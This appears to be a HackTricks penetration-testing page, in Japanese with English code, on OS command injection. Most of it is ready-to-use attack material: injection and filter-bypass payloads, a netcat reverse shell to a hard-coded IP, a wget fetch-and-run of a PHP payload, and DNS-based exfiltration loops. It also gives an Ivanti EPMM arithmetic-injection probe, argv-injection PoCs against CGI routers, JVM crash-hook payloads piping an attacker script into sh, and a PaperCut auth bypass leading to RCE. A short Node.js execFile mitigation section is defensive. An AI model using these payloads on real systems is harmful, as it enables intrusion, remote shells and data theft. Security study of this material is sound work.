Command Injection

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

command Injectionとは何か?

command injection は、アプリケーションをホストしているサーバ上で攻撃者が任意のオペレーティングシステムコマンドを実行できる脆弱性です。その結果、アプリケーションとそのすべてのデータが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者は通常、アプリケーションの環境や基盤となるシステムに対する不正なアクセスや制御を取得できます。

コンテキスト

入力が挿入される場所によっては、コマンドを実行する前に引用されたコンテキストを(" または ' を使って)終了させる必要がある場合があります。

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

制限 Bypasses

もしlinux マシン内で任意のコマンドを実行しようとしている場合は、これらの Bypasses: を読むと役に立ちます。

Bypass Linux Restrictions

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

RewriteMap/CGI-style スクリプトにおける Bash の算術評価

RewriteMap helpers written in bash は、クエリパラメータをグローバルに押し込み、その後 arithmetic contexts[[ $a -gt $b ]]$((...))let)で比較することがあります。Arithmetic expansion は内容を再トークン化するため、攻撃者が制御する変数名や配列参照が二重に展開され、実行される可能性があります。

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. Params map to globals (stgStartTime, htheValue).
  2. Later check:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Send st=theValue so gStartTime points to the string theValue.
  2. Send h=gPath['sleep 5'] so theValue contains an array index; during the arithmetic check it runs sleep 5 (swap for a real payload).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

注意:

  • 同じ helper が他のプレフィックスにないか確認してください(例: /mifs/c/aftstore/fob/)。
  • 算術コンテキストでは未知のトークンを変数/配列の識別子として扱うため、これは単純なメタ文字フィルタを回避します。

パラメータ

以下は code injection や同様の RCE 脆弱性の影響を受ける可能性がある上位25のパラメータです(出典: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

データの抽出: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

https://github.com/HoLyVieR/dnsbin のツールをベースにしており、dnsbin.zhack.ca にもホストされています。

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS based data exfiltration をチェックするオンラインツール:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript のバックエンドを監査する際、しばしば Node.js の child_process API に遭遇します。

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec()shell (/bin/sh -c) を起動するため、shell に特別な意味を持つ文字(back-ticks、;&&|$()、…)は、ユーザー入力が文字列に連結されると command injection を引き起こします。

緩和策: execFile() を使用する(または shell オプションなしで spawn() を使用)し、各引数を別々の配列要素として渡すことで shell が関与しません:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

実際の事例:Synology Photos ≤ 1.7.0-0794 は、認証なしの WebSocket イベントを通じて攻撃者制御のデータが id_user に配置され、それが後に exec() 呼び出しに埋め込まれて RCE を達成できる脆弱性がありました (Pwn2Own Ireland 2024)。

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

すべてのインジェクションがシェルのメタ文字を必要とするわけではありません。アプリケーションが信頼できない文字列をシステムユーティリティへ引数として渡す場合(execve/execFile を使ってシェルを介さない場合でも)、多くのプログラムは先頭が --- で始まる引数をオプションとして解釈します。これにより攻撃者はシェルに侵入せずともモードを切り替えたり、出力先を変更したり、危険な挙動を引き起こしたりできます。

典型的に見られる場所:

  • 組み込みの web UI/CGI ハンドラが ping <user>tcpdump -i <iface> -w <file>curl <url> のようなコマンドを組み立てる場合
  • 複数のハンドラが同じ弱いバリデータを再利用するような集中型 CGI ルータ(例: /cgi-bin/<something>.cgi といったセレクタパラメータ topicurl=<handler>

試すべきこと:

  • 下流のツールがフラグとして解釈するように、-/-- で始まる値を与える。
  • 振る舞いを変えたりファイルを書き込んだりするフラグを悪用する。例えば:
  • ping: -f/-c 100000 でデバイスに負荷をかける(DoS)
  • curl: -o /tmp/x で任意パスへ書き込む、-K <url> で攻撃者制御の設定を読み込む
  • tcpdump: -G 1 -W 1 -z /path/script.sh で安全でないラッパーにおけるローテート後の実行を達成する
  • プログラムが -- による end-of-options をサポートしている場合、誤った場所に -- を前置するような単純な緩和策を回避できないか試す。

集中型 CGI ディスパッチャに対する一般的な PoC 形:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM 診断コールバックによる確実な exec

任意のプリミティブで JVM command-line arguments を注入_JAVA_OPTIONS、launcher config files、AdditionalJavaArguments フィールドなど)できる場合、アプリケーションのバイトコードを触らずに信頼できる RCE に変えることができます:

  1. 決定的なクラッシュを発生させる — metaspace や heap を縮小します: -XX:MaxMetaspaceSize=16m(または小さな -Xmx)。これにより、初期ブートストラップ中でも OutOfMemoryError が確実に発生します。
  2. エラーフックをアタッチ: -XX:OnOutOfMemoryError="<cmd>" または -XX:OnError="<cmd>" は、JVM が abort したときに任意の OS コマンドを実行します。
  3. 復旧試行を避けてペイロードをワンショットにするために、オプションで -XX:+CrashOnOutOfMemoryError を追加します。

例のペイロード:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (参照: Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • 脆弱なNG/MFビルド(例: 22.0.5 Build 63914)は/app?service=page/SetupCompletedを公開しており、そこをブラウズしてLoginをクリックすると資格情報なしで有効なJSESSIONIDが返ります(setupフローでの authentication bypass)。
  • Options → Config Editorprint-and-device.script.enabled=Yprint.script.sandboxed=Nを設定して、printer scriptingを有効化しsandboxを無効にします。
  • プリンターのScriptingタブでスクリプトを有効にし、バリデーションエラーを避けるためにprintJobHookを定義したままにしますが、ペイロードは関数の外側に置いて、Applyをクリックしたときに即座に実行されるようにします(印刷ジョブは不要):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • コールバックを reverse shell に差し替える。UI/PoC が pipes/redirects を処理できない場合は、1つのコマンドで payload をステージし、2回目のリクエストでそれを exec する。
  • Horizon3 の CVE-2023-27350.py は auth bypass、config flips、command execution、rollback を自動化する — サービスが内部からのみ到達可能な場合は、upstream proxy(例: proxychains → Squid)経由で実行する。

Brute-Force 検出リスト

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする